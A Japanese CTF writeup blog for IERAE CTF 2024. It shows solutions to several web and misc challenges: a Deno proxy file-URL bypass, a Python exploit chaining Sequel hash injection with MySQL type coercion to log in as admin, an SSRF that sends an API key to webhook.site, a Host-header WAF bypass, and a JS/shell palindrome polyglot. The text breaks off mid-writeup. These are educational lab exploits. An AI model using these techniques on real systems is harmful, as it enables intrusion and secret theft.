st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

IERAE CTF 2024 writeup

9/21 - 9/22という日程で開催された。BunkyoWesternsで参加して1位☝️ 我々はほとんどの問題が解けていたのだけれども、4問残っていたうちの3問がWebカテゴリ(1問はWeb+Revだが…)ということで申し訳ない気持ち。想定解法Satoooonさんの解法を見つつ復習していきたい。

以下の目次を見ると、1ポイントなのに4, 5 solvesしか出ていない問題があることがわかると思う。これらは「宿題」としてIERAE CTF 2024の告知段階から出題されていた*1もので、いずれも固定で1ポイントであるものの、事前に解いておく(別に競技中に解いてもよいが…)ことが想定されていたものだった。結局宿題を片付けていたチームはあまりいなかった*2わけだけれども。宿題は、ちゃんとやろう。


[Web 1] simple-proxy (5 solves)

シンプルなプロキシサーバ

A simple proxy server

(問題サーバのURL)

添付ファイル: simple-proxy.tar.gz

Author: Ark

問題文までシンプルだ。以下のようなシンプルなソースコードが与えられている。プロキシらしい。Dockerfile には COPY flag.txt / という記述があり、このプロキシが動くコンテナから /flag.txt というファイルの内容を取得できればよいらしいとわかる。

const description = `
This is a simple proxy server.

Usage:
curl "http://example.com" --proxy "${Deno.env.get("APP_HOST")}"
`.trim();

Deno.serve({ port: 3000 }, (req) => {
  const proxy = new Request(req.url, req);
  proxy.headers.set("X-Proxy", "1");

  return req.headers.get("X-Proxy") ? new Response(description) : fetch(proxy);
});

Denoが使われていて、また -A オプションが付与されているためにすべてのパーミッションが許可されているので、fetch('file:///flag.txt') 相当のことができれば勝ちだ。しかし、そんなことは本当にできるのだろうか。

試しに echo -en "GET file:///flag.txt HTTP/1.0\r\n\r\n" | nc localhost 3000 を投げてみるものの、400 Bad Requestが返ってきてしまい通らない。file://flag.txtfile://localhost/flag.txt 等を試してみるものの通らない。前者では req.urlhttp://flag.txt/ と入っていることがわかったので、Host ヘッダをいじってみるものの結果は変わらない。

色々いじっていると、パス名にスラッシュを入れなければ通った。

$ echo -en "GET file:flag.txt HTTP/1.0\r\n\r\n" | nc (省略) 3000
HTTP/1.0 200 OK
vary: Accept-Encoding
date: Sat, 21 Sep 2024 07:13:10 GMT

IERAE{request_target_bypa55_with_RFC9112_3.2.3}
IERAE{request_target_bypa55_with_RFC9112_3.2.3}

[Web 1] passwordless (4 solves)

パスワードのないログインシステムを作りました! これなら 100%安心安全です!

We made a password-less login system! It should be 100% safe!

(問題サーバのURL)

添付ファイル: passwordless.tar.gz

Author: tyage

メールアドレスを入力するとそこにログイン用のトークンが送信されるという形で、パスワードなしにログインできるシステムが用意されている。

ソースコードを確認する。.envFLAG=IERAE{dummy} という記述があり、環境変数にフラグがあるとわかる。Dockerfile では FROM ruby:3.2-bookwormRUN apt update && apt install -y default-mysql-server といった記述があり、Rubyでアプリが作られており、またそれと同一コンテナでMySQLが動いていることがわかる。

まず app.rb は次の通り。Sinatraで作られているらしいというのと、別途 LoginTokenUser といったクラスがあり、何やら別のファイルでORM的なことをしているらしいというのがパッと見て思うことだ。後は、params[:name].match?(/admin/i) という正規表現によるチェックで admin としてログインできないようになっているのが気になる。それから、先ほどはログイン用のトークンが指定したメールアドレスに送信されると言ったけれども、これは嘘で、send_login_token を見るとわかるようにまだ実装されていない。どうしろと。

require 'sinatra'
require 'json'
require 'ipaddr'

require './config'

# SQL文を確認したい時用
# require 'logger'
# DB.sql_log_level = :debug
# DB.loggers << Logger.new($stderr)

# ログイントークンをユーザのメールアドレスに送信する
def send_login_token(user, login_token)
  # TODO: 来年実装する
end

# Unprintableな文字が飛んできたらハッカーなので止める
before do
  params.each do |k, v|
    if /[^[:print:]]/.match?(v.to_s)
      halt 400, "Hacker detected!"
    end
  end
end

get '/' do
  send_file File.join(settings.public_folder, 'index.html')
end

post '/login' do
  content_type :json

  # adminは通常のログインフォームからはログインできない
  if params[:name].match?(/admin/i)
    return { error: 'You can\'t login as admin' }.to_json
  end

  user = User.find(name: params[:name])
  return { error: 'Not found' }.to_json if user.nil?

  # 重複しないようにIPアドレスをつけておく
  secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)
  login_token = LoginToken.create(
    user_id: user.id,
    key: SecureRandom.hex(32),
    secret: secret
  )
  send_login_token(user, login_token)

  {
    login_token_key: login_token.key
  }.to_json
end

post '/login/:key' do
  content_type :json

  login_token = LoginToken.find(key: params[:key], secret: params[:secret])
  return { error: 'Not found' }.to_json if login_token.nil?

  user = User.find(id: login_token.user_id)

  {
    user: {
      id: user.id,
      name: user.name,
      email: user.email,
      profile: user.profile
    }
  }.to_json
end

post "/register" do
  content_type :json

  user = User.create(
    name: params[:name],
    email: params[:email],
    profile: params[:profile]
  )

  {
    user: {
      id: user.id,
      name: user.name,
      email: user.email,
      profile: user.profile
    }
  }.to_json
end

config.rb は次の通り。先ほど言及していた UserLoginToken がここで定義されている。Sequelというライブラリを使っているらしい。最後の数行が重要で、admin というユーザがそのプロフィールにフラグを含んでいることがわかる。なるほど、admin としてログインするのがゴールらしい。

require 'sequel'
require 'securerandom'

# DB config
DB = Sequel.mysql2(
  host: ENV['MYSQL_HOST'] || 'mysql',
  user: ENV['MYSQL_USER'],
  password: ENV['MYSQL_PASSWORD'] || '',
  database: ENV['MYSQL_DATABASE'],
)

DB.create_table? :users do
  primary_key :id
  String :name, null: false, unique: true
  String :email, null: false, unique: true
  String :profile, null: false
end

DB.create_table? :login_tokens do
  primary_key :id
  foreign_key :user_id, :users
  String :key, null: false, unique: true
  String :secret, null: false
end

class User < Sequel::Model
end

class LoginToken < Sequel::Model
end

# Create Admin user
if User.find(name: 'admin').nil?
  User.create(
    name: 'admin',
    email: 'admin@localhost',
    profile: ENV["FLAG"]
  )
end

app.rb を眺めていると、たとえばログイントークンが正しいかどうかのチェックには LoginToken.find(key: params[:key], secret: params[:secret]) のように find というSequelのメソッドが使われているわけだけれども、引数として与えられているユーザ由来のパラメータについて、文字列であるかどうかが検証されていないことが気になった。

secret[hoge]=fuga のようなデータがPOSTされるとどうなるのだろうか。実はSequelのドキュメントでもユーザ入力には気をつけろと注意喚起がなされていて、たとえば {'a' => 'b'} のようなハッシュが渡されると、id = ('a' = 'b') のようなSQLに変わるらしい。

app.rb で「SQL文を確認したい時用」とされていた部分のコメントアウトを外し、Sequelが発行するクエリを確認できるようにしておく。その上で curl localhost:4567/login/(トークンのID) -d 'secret[a]=a' を実行してみる。すると、以下のようなSQLが実行されていることが確認できた。

web-1  | D, [2024-09-15T17:57:09.839739 #24] DEBUG -- : (0.000291s) SELECT * FROM `login_tokens` WHERE ((`key` = '1c8a7ca573477526b31ef59050a18e9ecfd0931911bd4293c6101c7d931d5bd6') AND (`secret` = ('a' = 'a'))) LIMIT 1

一見無害に見えるけれども、今回の状況では異なる。MySQLでは文字列と数値が比較された際には、文字列のほうが数値に変換される。つまり、'1hoge' = 1 が真(TRUE)となる。MySQLでは TRUE1 であるから、'1hoge' = ('a' = 'a') は真となる。

各トークンはhexの文字列であるわけだけれども、先ほど実行されていたSQLから key をフィルターする部分を取り外して実行すると、次のように 1 から始まって次にアルファベットが来るようなトークンが引っかかってしまっていることがわかる。

MariaDB [ierae]> select * from login_tokens where `secret` = ('a'='a');
+----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+
| id | user_id | key                                                              | secret                                                            |
+----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+
|  3 |       2 | 3fc04c3498ef19b7c4b5a73e63ba07c544d611e4ed715cde705c76e8131f71e5 | 1e0f2a196307dcbb1d06be89a7b061f535debf4ba20be4163346a8835959863e7 |
|  6 |       2 | 5de5aa528641b44a2ca2783764bef68bd8deaff5180915bb7039c2ce4bf029bb | 1f5047201e2023a4eadf6fb9b944942eaeecbbcb202ee73eaae2a0cd806260200 |
+----+---------+------------------------------------------------------------------+-------------------------------------------------------------------+

1 から始まって2文字目にアルファベットが来るようなトークンが生成されるまで、admin としてのログインの試行を繰り返せばよさそうだが、そううまくはいかない。

2点問題があるけれども、まず1つ目はこれだ。トークンはランダムなhexの前に、IPアドレスを数値化したものをくっつけている。これではとても 1 から始めさせることはできない。ただ、これは、X-Forwarded-Forrequest.ip::1 にすることで回避できる。

  # 重複しないようにIPアドレスをつけておく
  secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)

2つ目の問題はこれだ。admin に対応するトークンを発行させようにも、/login では admin を含むユーザ名を投げた際に弾かれてしまう。

  # adminは通常のログインフォームからはログインできない
  if params[:name].match?(/admin/i)
    return { error: 'You can\'t login as admin' }.to_json
  end

これはまたMySQLにおける比較の挙動を利用すればよい。今回使われているテーブルでは以下のように照合順序として utf8mb4_general_ci が指定されているわけだけれども、これはたとえば 'i' = 'Í' のような比較も真となる。これでバイパスできるはずだ。

MariaDB [ierae]> select table_name, table_collation from information_schema.tables where table_schema='ierae';
+--------------+--------------------+
| table_name   | table_collation    |
+--------------+--------------------+
| users        | utf8mb4_general_ci |
| login_tokens | utf8mb4_general_ci |
+--------------+--------------------+
2 rows in set (0.000 sec)
MariaDB [ierae]> select 'admin' = 'admÍn';
+--------------------+
| 'admin' = 'admÍn'  |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.000 sec)

最終的に、次のようなexploitができあがった。

import httpx
BASE = 'http://(省略):4567'
with httpx.Client(base_url=BASE) as client:
    while True:
        r = client.post('/login', data={
            'name': 'adm\u0130n'
        }, headers={
            'X-Forwarded-For': '::1'
        })
        key = r.json()['login_token_key']

        r = client.post(f'/login/{key}', data={
            'secret[a]': 'a'
        }).json()
        if 'error' not in r:
            print(r['user']['profile'])
            break

実行するとフラグが得られた。

$ python3 solve.py
IERAE{no_password_n0_hacker}
IERAE{no_password_n0_hacker}

[Web 162] Futari APIs (81 solves)

curl 'http://(問題サーバのURL)/search?user=peroro'

添付ファイル: distfiles_futari-apis.tar.gz

Author: tyage

いい感じのUIは用意されておらず、curl 等で叩く必要があるけれども、ユーザを検索するシステムが与えられている。compose.yaml は次の通り。frontenduser-search という2つのコンテナがあることがわかる。frontend の裏に user-search があるという構成だろうけれども、user-search でも ports が指定されているのはよくわからない。ランダムなポート番号で公開されてしまうのではないか。

services:
  frontend:
    build:
      context: ./
      dockerfile_inline: |
        FROM denoland/deno:debian-1.46.3@sha256:5c2dd16fe7794631ce03f3ee48c983fe6240da4c574f4705ed52a091e1baa098
        COPY ./frontend.ts /app/
    restart: unless-stopped
    ports:
      - 3000:3000
    environment:
      - FLAG=IERAE{dummy}
    command: run --allow-net --allow-env /app/frontend.ts
  user-search:
    build:
      context: ./
      dockerfile_inline: |
        FROM denoland/deno:debian-1.46.3@sha256:5c2dd16fe7794631ce03f3ee48c983fe6240da4c574f4705ed52a091e1baa098
        COPY ./user-search.ts /app/
    restart: unless-stopped
    ports:
      - 3000
    environment:
      - FLAG=IERAE{dummy}
    command: run --allow-net --allow-env /app/user-search.ts

frontend のコードに対応する frontend.ts は次の通り。非常にシンプルで、/search が叩かれたときにのみ user-search のAPIを叩いてユーザの検索をしに行くらしい。この際、フラグをAPIキーとしてクエリパラメータに付与している。

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

user-search のコードである user-search.ts は次の通り。こちらも大したことはしておらず、元々存在している一覧から、与えられたユーザIDに対応するモモフレンズ*3の名前を引っ張ってきて返しているだけだ。なお、このAPIはAPIキーがなければ叩くことができない。そして、そのAPIキーはフラグだ。

type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });

frontend.ts を見て、なんとかしてクエリパラメータを外部に投げさせることはできないかと思う。次のように URL を使ってリクエスト先のURLを構築しているわけだけれども、ここで user を任意のものに操作できることを使えないか。

const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
// …
async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

MDNのドキュメントには「url が絶対 URL である場合、指定された base は無視されます。」とある。先程の関数では base、つまり第2引数は USER_SEARCH_API が指定されていたわけだけれども、url、つまり第1引数を絶対URLにすればそれを無視させられるらしい。やってみよう。

次のように、クエリパラメータの user について、送られてきたリクエストの内容を我々が確認できるページの絶対URLにする。

$ curl http://(省略)/search?user=https://webhook.site/…/
…

すると、APIキー付きでそのURLにリクエストが来た。フラグが得られた。

IERAE{yey!you_got_a_web_warmup_flag!}

[Web 315] babewaf (11 solves)

I was tormented by "babywaf" in last Xmas, so I tried to pay homage to it.

(問題サーバのURL)

添付ファイル: distfiles_babewaf.tar.gz

Author: y0d3n

与えられたURLにアクセスすると、なんか見たことのある画面が表示される。このボタンを押すと、/givemeflag へリクエストが送られつつ 🚩 とダイアログが表示された。

コードを見ていく。まず compose.yaml だけれども、proxybackend という2つのコンテナがあるらしい。proxy を通して backend にアクセスできるのだろう。ただ、[Web] Futari APIsでもそうだったけれども、backend でも ports が指定されていて不思議だ。

services:
  proxy:
    build: ./proxy
    restart: unless-stopped
    ports:
      - 3000:3000
    environment:
      - BACKEND=http://backend:3000/
    init: true
  backend:
    build: ./backend
    restart: unless-stopped
    ports:
      - 3000
    environment:
      - FLAG=IERAE{dummy}

proxyindex.js は次の通り。非常にシンプルで、http-proxy-middleware でプロキシを作っているらしい。裏の backend にそのままリクエストを流してくれるらしいけれども、%flag がリクエストに入っているとダメらしい。

const express = require("express");
const { createProxyMiddleware } = require("http-proxy-middleware");

const app = express();
const BACKEND = process.env.BACKEND;

app.use((req, res, next) => {
  if (req.url.indexOf("%") !== -1) {
    res.send("no hack :)");
  }
  if (req.url.indexOf("flag") !== -1) {
    res.send("🚩");
  }
  next();
});

app.get(
  "*",
  createProxyMiddleware({
    target: BACKEND,
  }),
);

app.listen(3000);

backendindex.js は次の通り。Honoが使われており、/givemeflag にアクセスするとフラグがもらえるらしい。ただ、先程見たように proxyflag という文字列がURLに含まれていると弾いてしまうから、そのままではこの /givemeflag のレスポンスは得られない。

import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'

const app = new Hono()
const FLAG = Deno.env.get("FLAG");

app.get('/', serveStatic({ path: './index.html' }))

app.get('/givemeflag', (c) => {
  return c.text(FLAG)
})

export default app

ではどうするか。パス名以外の部分で、たとえばヘッダでなんとかできないかと考えた。つまり、proxyreq.url を参照した際には %flag は含まれていないので怒られないけれども、proxy から backend へのリクエストがなされる際には、そのパス名が /givemeflag やそれに類するものになるような影響を与えられるようなヘッダはないか。

とは言ってもあまり思いつくものはないわけだが、たとえば Host ならばどうだろうか。backend のコードに次のような処理を書き加え、backend 側での req.urlreq.path を参照できるようにする。

app.get('/*', (c) => {
  console.log('[url]', c.req.url)
  console.log('[path]', c.req.path)
  return c.text('hoge')
})

Host: hoge では何も起こらないが、ホスト名を hoge/a に変えると、パスが /a/ に変わっている様子が確認できた。どうやら Host ヘッダがホスト名とポート番号のみから構成されているかというのはチェックされていないらしい。

hoge/givemeflag ではパスが /givemeflag/ となってしまい、残念ながら /givemeflag にはマッチせずフラグは出ない。では ? もそのままになるのだろうかと hoge/givemeflag? を試してみたところ、通った。

$ curl http://(省略) -H "Host: hoge/givemeflag?"
IERAE{hono_1s_h0t_b4by}
IERAE{hono_1s_h0t_b4by}

[Misc 378] gnalang (6 solves)

I invented a new language. Your task is to write a palindromic polyglot of JavaScript and POSIX Shellscript!

(問題サーバへの接続情報)

添付ファイル: distfiles_gnalang.tar.gz

Author: hugeh0ge

問題の概要

以下のようなコードが与えられている。ちょっと読むのが面倒くさいけれども、どうやら回文判定をするJavaScriptとシェルスクリプトのpolyglotを書く問題らしい。両言語のいずれも回文判定をする必要があるし、しかも面倒なことにただのpolyglotではなく、そのプログラム自体も回文でなければならない。

まだ制約はある。JSもシェルスクリプトも終了コードは0でなければならないので、とりあえず正解の文字列だけ出力して後はエラー吐き放題というわけにはいかない。また、$, #, //, <!--, -->, LF, スペースが含まれていてはならず、シェルスクリプトで変数を参照したり、あるいはJSにおいてコメントで後半部分を無効化させたりといったことができない。

JSとシェルスクリプトのpolyglotと聞いて、U+2028でJSだけ改行させられるし、後はコメントアウトすれば楽勝じゃ~んと思いつつ詳細を確認したけれども、面倒くさい問題だと理解した。

#!/usr/bin/env python3

"""
Your task is to write a polyglot of JavaScript and shell script.
The polyglot must meet the following conditions:

 - The polyglot must be executable in `sh` and `node` both.
 - `sh` and `node` must exit normally when executing the polyglot.
 - `sh` and `node` must return the same output when executing the polyglot.
 - `sh` must never cause error for each executed command.
 - The polyglot must output "Yes\n" when the string given from stdin is a palindrome. "No\n" otherwise.
 - The polyglot must be a palindrome.
 - The polyglot must not contain the following tokens: '$', '#', "//", "<!--", "-->", '\n', ' '.
 - The polyglot must not write anything to file as a shell script (because it fails and causes error)

Sample Input  #1
ABCDEEDCBA
----------------
Sample Output #1
Yes

----------------
Note that inputs do not contain '\n' while outputs should contain '\n'.

================

Sample Input  #2
ABCDE
----------------
Sample Output #2
No

----------------

"""

import sys
import string
import random
import tempfile
import subprocess

def myassert(cond, msg):
  if not cond:
    print(msg)
    sys.exit(1)

def main():
  sys.stdout.write('Input program: ')
  sys.stdout.flush()

  prog = sys.stdin.readline()
  myassert(prog[-1] == '\n', "the program should end with '\n'")

  prog = prog[:-1] # trim

  # disallowed chars
  myassert(not '$' in prog, "$ should not be contained")
  myassert(not '#' in prog, "# should not be contained")
  myassert(not ' ' in prog, "' ' should not be contained")
  myassert(not '\n' in prog, "'\\n' should not be contained")
  myassert(not '//' in prog, "\"//\" should not be contained")
  myassert(not '<!--' in prog, "\"<!--\" should not be contained")
  myassert(not '-->' in prog, "\"-->\" should not be contained")

  # should be a palindrome
  myassert(prog == prog[::-1], "the program should be a palindrome")

  with tempfile.NamedTemporaryFile(mode='w') as sh_f:
    sh_f.write('set -eu\n') # no error should be allowed
    sh_f.write(prog)
    sh_f.flush()

    with tempfile.NamedTemporaryFile(mode='w') as js_f:
      js_f.write(prog)
      js_f.flush()

      # verify program with 100 testcases
      for i in range(100):
        testcase = ''.join(random.choices(string.ascii_uppercase + string.digits, k=5))

        is_palindrome = random.randint(0, 1)
        if is_palindrome:
          testcase = testcase + testcase[::-1]

        subprocess.run(['chmod', 'o+r', sh_f.name])
        sh_result = subprocess.run(['sudo', '-u', 'nobody', 'sh', sh_f.name], 
                                      input=testcase.encode(), capture_output=True)
        myassert(sh_result.returncode == 0, "sh should exit normally")
        sh_output = sh_result.stdout
        print('sh output: {}'.format(sh_output))

        subprocess.run(['chmod', 'o+r', js_f.name])
        js_result = subprocess.run(['sudo', '-u', 'nobody', 'node', js_f.name], 
                                      input=testcase.encode(), capture_output=True)
        myassert(js_result.returncode == 0, "node should exit normally")
        js_output = js_result.stdout
        print('js output: {}'.format(js_output))

        # output must be the same between js and sh
        myassert(sh_output == js_output, "sh and node should return the same output")

        # the program must judge if the given string is a palindrome
        if is_palindrome:
          myassert(sh_output == b'Yes\n', "the program should output Yes")
        else:
          myassert(sh_output == b'No\n', "the program should output No")

  with open('./flag.txt') as f:
    flag = f.read()

  sys.stdout.write('Well done!\n')
  sys.stdout.write('The flag is {}\n'.format(flag))
  sys.stdout.flush()

if __name__ == '__main__':
  main()

私が問題を確認した時点でSatokiさんが結構な時間をこの問題で費やしており、JSとシェルスクリプトのpolyglotを書くにあたって () での関数呼び出しが邪魔になるというアドバイスが残されていた。つまり、JSではよくても、シェルスクリプトでは文法上カッコが登場するのは関数定義やらなんやらといった場合で、両方で成り立たせるのが難しい。こういった障害を乗り越えていかなければならない。

コメントアウトでなんとかすることへの未練が断ち切れず、ECMAScriptの仕様を確認した。しかしながら、先程見たようにHTML-likeコメントも通常のコメントも潰されている。/* … */ はいい感じに左右対称となっており利用できそうだが、シェルスクリプトでもうまいこと動かすには頭を働かせる必要がありそうだ。見落としているものだったり、現状は仕様外だが実装されているものがないかと調べたが、Hashbang Commentsぐらいしか見つからないし、これも # を含むのでダメだ。

とりあえずpolyglotを書く

コメントアウトでなんとかする方針を捨て、真面目にやっていくことにする。まずは回文については一旦忘れて、JSとシェルスクリプトのpolyglotを書くコツを掴むことにした。JS側での関数呼び出しは、前述のようにカッコでやるのはシェルスクリプトとの整合性を保つのが面倒(また、回文を作る際にも )( となった状態をなんとかするのが面倒)であったことから、タグ付きテンプレートリテラルでなんとかすることにした。

最初に出来上がったのが次のpolyglotだ。

Function `console.log\x28123\x29;process.exit\x280\x29` `` &node -e +"console.log(456)"

まずJavaScriptとして見ていく。タグ付きテンプレートリテラルが関数に引数を渡す際の挙動のために、eval ではなく Function を使いつつ、文字列をコードとして実行させる。& 以降の node -e … はJSの文法上は正しいけれども、存在していない変数を参照しているためそのままだとエラーが起こる。なので、実行させないように process.exit(0) でプロセスを終了させてしまう。

シェルスクリプトとして見ていく。バックティックは、シェルスクリプト側では echo `id` のように、それで囲まれた部分をコマンドとして実行しその実行結果で置き換えるという意味を持つ。したがって、先程のコードでは console.log… という一連の文字列はOSコマンドとして実行される*4。もちろんそれも、Function もコマンドとしては存在しないために失敗するわけだけれども、& でバックグラウンド実行されるので、終了コードには影響がない。本命の処理は & 以降で、$ なしにシェルスクリプトで回文判定を書くのはつらいので、Node.jsに丸投げしている。

こうして、JSとして実行すると 123 を出力し、シェルスクリプトとして実行すると 456 を出力するpolyglotが出来上がった。禁止されているスペースが含まれているけれども、タブで置き換えればよいだろう。

ほか、polyglotを書くにあたってのポイントとして、次のようなものを考えた。これはCTFの問題であってフラグさえ得られればよく、芸術性は求められていない。自分が書きやすければそれでよいので、どうやれば楽そうかという方針だ:

  • 大方針として、前半はJSで回文判定をする処理を押し込み、後半ではシェルスクリプトで同様の処理を置くといったように、完全に言語ごとにパートを分けてしまう
  • & はショートサーキットを利用して || でもよい。というよりも、JS側でもシェルスクリプト側でもショートサーキットを利用して、以降の処理は飛ばすか飛ばさないかを選ぶために &&|| を多用していきたいところ
  • JSでもシェルスクリプトでも大体文字列の中に主要な処理を押し込んでしまうことで、いずれの言語でも文法上正しくなるよう考える必要性をできるだけなくす

頑張って回文にする

さて、これをいい感じに回文にしなければならない。先程のコードをいじりつつ、回文を出力するようなPythonスクリプトを用意した。シェルスクリプト側はこれで何もエラーは吐かないわけだけれども、JS側でエラーを吐きまくり面倒だ。なんとかしたい。

prog = """
Function `console.log\\x28123\\x29;process.exit\\x280\\x29` ``||node -e +'console.log`456`'&&exit||a
""".strip().replace(' ', '\t')
prog += prog[::-1]

Function `a` `b` という構造がひっくり返ると `b` `a` noitcnuF という構造になってしまうのが一番の問題で、これでシンタックスエラーが起こってしまう。上述のようにショートサーキットのおかげでひっくり返した後も正常に実行できる必要はなく、文法上正しければそれでよいわけだけれども、その前提の上でもよい方法が思いつかない。

ヤケクソでブルートフォースしてみることにした。適当に1, 2文字ほどを Function の前後に入れてみて、回文にしても文法上問題ないような文字の組み合わせはないか探す。

for (let i = 0; i < 0x100; i++) {
    for (let j = 0; j < 0x100; j++) {
        for (let k = 0; k < 0x100; k++) {
            const c = String.fromCharCode(i);
            const d = String.fromCharCode(j);
            const e = String.fromCharCode(k);
            if (c === '=' || d === '=' || e === '=') continue;
            const code = c + d + 'func' + e + '`123`'

            const edoc = code.split('').reverse().join('');

            if (code.includes('//')) continue;

            try {
                let ff = false;
                function func() { ff = true }
                eval(code + '||' + edoc);

                if (ff) {
                    console.log(JSON.stringify(code + '||' + edoc), c, d);
                }
            } catch { }
        }
    }
}

驚くべきことに、いくつか候補が見つかった。Function の前にラベルを、そして後ろに改行文字を置くパターンならば動くらしい。どういうことだろうか。

$ node 暴力.js
"c:func\n`123`||`321`\ncnuf:c" c

"c:func\r`123`||`321`\rcnuf:c" c
"d:func\n`123`||`321`\ncnuf:d" d

"d:func\r`123`||`321`\rcnuf:d" d
"e:func\n`123`||`321`\ncnuf:e" e
…

noitcnuF:Function\r`console.log(123)` `a` というパターンを考える。これは見たままで、noitcnuF: という部分は単なるラベルとして解釈されるし、以降は Function に引数が渡されて関数が作られ、それが呼び出されるというような流れとして解釈される。

では、それを反転させた `a` `)321(gol.elosnoc`\rnoitcnuF:Function はどうか。`a` `)321(gol.elosnoc` の部分は、a という文字列を関数として、)321(gol.elosnoc を引数として呼び出すという意味になる。さて、ここに改行文字が入っているのが効いてくる。おかげで、セミコロンの自動挿入により一旦一連の文が終わり、仕切り直しとなる。続いて noitcnuF:Function が来るわけだけれども、noitcnuF というラベルで Function を参照しているという意味になる。

反転後の処理は文字列を関数として呼び出すというエラー必至のとんでもないことをしているが、文法上は問題ないし実行はされないので大丈夫だ。ということで、このテクニックを使うことで、シェルスクリプトとしてもJSとしても適切な回文polyglotを作ることができる。

解く

ここまで来たら後はやるだけだ。JSで回文判定を実装し、適切な箇所に挿入する。そして、出来上がったpolyglotを投げるスクリプトを書く。

from pwn import *
s = remote('(省略)', 9319)
s.recvuntil(b'Input program: ')

def conv(s):
    return ','.join(str(ord(c)) for c in s)

prog = """
noitcnuF:Function\r`eval\\x28String.fromCharCode\\x28PAYLOAD1\\x29\\x29` ``||1||node -e +'PAYLOAD2'&&exit||a
""".strip()
payload = '''
process.stdin.on("readable", () => { const s=process.stdin.read().toString(); console.log((s===s.split("").reverse().join(""))?"Yes":"No"); process.exit(0) })
'''.strip()
prog = prog.replace('PAYLOAD1', conv(payload)).replace('PAYLOAD2', payload).replace(' ', '\t')

prog += prog[::-1]

s.sendline(prog)

print(s.recvall())

実行するとフラグが得られた。

$ python3 solve.py 
…
b"sh output: b'No\\n'\njs output: b'No\\n'\nsh output: b'Yes\\n'\njs output: b'Yes\\n'\n…Well done!\nThe flag is IERAE{0mg_th3y_4r3_s0_t0re13nt_68a80ad1}\n\n"
IERAE{0mg_th3y_4r3_s0_t0re13nt_68a80ad1}

競技終了後にDiscordを見ていると、皆 /* … */ を活用してコードを組み立てていた。

[Misc 361] 5 (7 solves)

You can only use five different characters in JavaScript :)

(問題サーバのURL)

添付ファイル: distfiles_five.tar.gz

Author: Ark

まず、添付ファイル中の Dockerfile にある RUN mv flag.txt / という記述から、ローカルの /flag.txt にフラグがあるとわかる。あわせて、次のようなPythonスクリプトが与えられている。任意のJSコードをBunで実行してくれるらしい。ただし、使える文字は5種類だけだけれども。

from flask import Flask, request, session
from werkzeug.utils import secure_filename

import os
import secrets
import subprocess

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)


@app.before_request
def hook():
    if "user_dir" not in session:
        session["user_dir"] = os.path.join("./sandbox", secrets.token_hex(16))
    os.makedirs(session["user_dir"], exist_ok=True)


@app.get("/")
def index():
    return """
<!DOCTYPE html>
<title>JS Sandbox</title>
<h3>Upload a JavaScript file</h3>
<form>
  <input type="file" name="file" accept=".js" required />
  <input type="submit" value="Upload" />
</form>
<script>
  const form = document.forms[0];
  form.addEventListener("submit", (event) => {
    event.preventDefault();
    const data = new FormData(form);
    fetch("/run", {
      method: "POST",
      body: data,
    })
      .then((r) => r.text())
      .catch((e) => e)
      .then(alert);
  });
</script>
""".strip()


@app.post("/run")
def run():
    if "file" not in request.files:
        return "Missing file parameter", 400
    file = request.files["file"]
    filename = secure_filename(file.filename or "")

    # A new JSFxxk challenge!
    content = file.read().decode()
    if len(set(content)) > 5:
        return "Too many characters :(", 400

    filepath = os.path.join(session["user_dir"], filename)
    open(filepath, "w").write(content)

    try:
        proc = subprocess.run(
            ["bun", filepath],
            capture_output=True,
            timeout=2,
        )
        if proc.returncode == 0:
            return "Result: " + proc.stdout.decode()
        else:
            return "Error"
    except subprocess.TimeoutExpired:
        return "Timeout"

コメントでも言及されているように、先行研究としてJSF**kがある。これは ![]+() の6種類の文字だけで任意のJSコードを実行できるようにするものだ。そこからさらに1種類減らして、5種類でやれということだろうか。

ただ、JSF**kのドキュメントにも記されているように、文字種を減らす用途ではバックティックを () の代わりに使えない話であったり、![]+ は自由に使えるが () は一度しか使えないという制約があったjailCTF 2024 - 2 callsのような直近の問題であったりから、パイプライン演算子が使えない限り5種類の文字での任意のJSコードの実行はおそらく不可能であろうと考える。SECCONで頻繁にJavaScript問を出しているArkさんのことなので、新たにその手法を見つけた可能性もないわけではないが、だとするとeasyとタグについているのはおかしい。

task4233さんが頑張って文字種を減らそうとしているのを見つつ、別の方針を考える。そういえば、アップロードしたJSコードは次のように実行されているのだった。bun run <filepath> でなく、サブコマンドを指定していない bun <filepath> で実行しているのはどういうことだろうか。

        proc = subprocess.run(
            ["bun", filepath],
            capture_output=True,
            timeout=2,
        )

